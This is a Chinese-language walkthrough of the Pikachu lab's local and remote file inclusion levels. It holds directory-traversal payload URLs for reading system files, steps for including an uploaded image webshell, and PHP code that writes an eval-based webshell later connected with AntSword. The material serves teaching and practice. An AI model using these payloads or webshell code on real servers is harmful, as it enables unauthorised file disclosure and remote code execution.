• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Pikachu靶场:文件包含漏洞

武飞扬头像
caker丶
帮助5

前言

文件包含漏洞简述

1.漏洞描述

和SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:

include(),require(),include_once(),require_once()

区别如下:

  • require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
  • include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
  • include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  • require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

2.漏洞原因

include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来,如果网站有文件包含漏洞,jpg文件就可以被当作php文件进行解析。

3.漏洞危害

1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

4.如何防御

1、使用str_replace等方法过滤掉危险字符

2、配置open_basedir,防止目录遍历

3、php版本升级,防止截断

4、对上传的文件进行重命名,防止被读取

5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件

6、做好管理员权限划分,做好文件的权限管理

第一关 File Inclusion(local)

进入关卡发现有一个下拉框,可以选NBA球星。学新通
我们随机选一个进行点击,比如这里我选取Kobe,页面是下图这样,url是

http://www.pikachu.com:90/vul/fileinclude/fi_local.phpfilename=file1.php&submit=提交

可见其中包含了一个文件file1.php,很可能是文件包含,并且既然是通过URL参数从前端传到后端的,那就是用户可以控制的了,如果再没有严格的过滤,就很可能有文件包含漏洞。学新通

1.尝试读取"隐藏"文件

首先,由于观察到上图的filename是file1.php,猜测这里其他文件名可能也是个filex.php(x是数字)的格式。

把5个NBA球星都选一遍,发现文件名确实是file1.php~file5.php。

那有没有可能这套文件里面就有废弃或者隐藏的文件咧?

把burpsuite请出来爆破一下:

把下图这个请求报文send to intruder
学新通
然后像下面这样设置一下:

爆破位置设置为文件名中的数字,payload设置为Numbers,从6到100,步长为1,点start attack开始爆破
学新通

学新通
把爆破结果按照长度排个序,发现有如下四种长度,分别取代表file6.php、file7.php、file14.php、file100.php
学新通
学新通
盲猜应该file6.php有点东西。把上面4个文件名在浏览器地址栏试一下:

file6.php果然是个包含用户名和密码的隐藏文件
学新通
file7.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。

file14.php和file100.php都是一样的报错信息,这里就不贴图了。
学新通

2.读取不同文件夹文件

由上图可以看出网站根目录是: D:\study\apache-tomcat-8.5.33\xiaopi\phpstudy_pro\WWW\pikachu-master\

我们在此目录下写入一个shell.txt格式的php代码
学新通
上一部分已经分析过,上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件,由于路径参数中有个固定的include/,因此就不能用绝对路径了。

结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为 …/…/…/shell.txt,代入url中组成payload:
(这里应该是两个点,但是由于csdn显示问题显示成3个点)

http://www.pikachu.com:90/vul/fileinclude/fi_local.php?filename=../../../shell.txt&submit=提交

php代码被成功解析
学新通

3.读取系统文件

windows系统肯定有的文件是C:\Windows\win.ini,用这个来尝试有没有文件包含漏洞。

结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为C:/…/…/…/…/windows/win.ini,代入url中组成payload:

http://www.pikachu.com:90/vul/fileinclude/fi_local.php?filename=C:/../../../../Windows\win.ini&submit=提交

成功读取系统文件
学新通

4.结合文件上传getshell

在pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)的”三、getimagesize“关卡,上传了图片马,该图片马被重命名为7894046247af76131f8422881876.png,其内容包含下图所示的一句话木马。
学新通

上传图片马之后网页有回显文件保存位置的相对路径,与本关文件包含的路径对比可得相对路径,完整payload为:

http://www.pikachu.com:90/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/04/02/7894046247af76131f8422881876.png&submit=提交

用蚁剑连接:

学新通
连接成功
学新通

第二关 File Inclusion(remote)

这关的下拉框和local那关还是一样的,随便选一个,观察一下url有什么不同?

url中把include()函数的完整参数给出来了。

学新通
所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径

学新通

包含写木马的文件

该文件内容如下,其作用是在fi_remote.php文件的同级目录下新建一个文件shell.php,并将一句话木马写入shell.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[caker])  ?> ' ); ?>

payload:

http://www.pikachu.com:90/vul/fileinclude/fi_remote.php?filename=D:\study\apache-tomcat-8.5.33\xiaopi\phpstudy_pro\WWW\pikachu-master\vul\fileinclude\shell.txt&submit=提交

包含文件shell.txt
服务器请求shell.txt,由于确定有文件包含漏洞,此时test.txt应该被成功解析,在服务器上创建了一句话木马文件shell.php。

虽然没有回显
学新通
进入目录查看发现shell.php已经写入
学新通
用蚁剑进行连接
学新通
连接成功
学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhffifbi
系列文章
更多 icon
同类精品
更多 icon
继续加载